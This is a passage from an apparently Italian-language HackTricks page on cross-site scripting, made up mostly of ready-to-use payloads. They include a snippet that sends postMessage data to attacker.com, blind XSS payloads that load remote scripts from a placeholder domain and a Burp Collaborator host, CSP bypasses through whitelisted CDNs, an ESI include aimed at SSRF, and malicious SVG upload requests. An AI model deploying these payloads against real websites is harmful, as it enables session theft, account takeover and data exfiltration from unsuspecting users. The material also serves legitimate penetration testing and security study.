changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Furto di messaggi PostMessage

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Abusare dei Service Workers

{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Accesso al Shadow DOM

{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}

Polyglots

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}

Payloads XSS ciechi

Puoi anche usare: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Regex - Accesso a Contenuti Nascosti

Da questo articolo è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

Brute-Force List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}

XSS Abusare di altre vulnerabilità

XSS in Markdown

Puoi iniettare codice Markdown che verrà renderizzato? Forse puoi ottenere XSS! Controlla:

{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}

XSS a SSRF

Hai XSS su un sito che utilizza la cache? Prova a trasformarlo in SSRF tramite Edge Side Include Injection con questo payload:

<esi:include src="http://yoursite.com/capture" />

Usalo per bypassare le restrizioni sui cookie, i filtri XSS e molto altro!
Ulteriori informazioni su questa tecnica qui: XSLT.

XSS in PDF creati dinamicamente

Se una pagina web sta creando un PDF utilizzando input controllato dall'utente, puoi provare a ingannare il bot che sta creando il PDF per eseguire codice JS arbitrario.
Quindi, se il bot creatore di PDF trova qualche tipo di tag HTML, lo interpreterà, e puoi sfruttare questo comportamento per causare un Server XSS.

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

Se non puoi iniettare tag HTML, potrebbe valere la pena provare a iniettare dati PDF:

{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}

XSS in Amp4Email

AMP, mirato ad accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una gamma di componenti per varie funzionalità, accessibili tramite componenti AMP.

Il formato AMP for Email estende componenti AMP specifici alle email, consentendo ai destinatari di interagire con i contenuti direttamente all'interno delle loro email.

Esempio writeup XSS in Amp4Email in Gmail.

XSS caricamento file (svg)

Carica come immagine un file come il seguente (da http://ghostlulz.com/xss-svg/):

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Trova ulteriori payload SVG in https://github.com/allanlw/svg-cheatsheet

Altri trucchi JS e informazioni rilevanti

{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}

Risorse XSS

Se sei interessato a una carriera nel hacking e a hackare l'inhackabile - stiamo assumendo! (richiesta di polacco fluente scritto e parlato).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}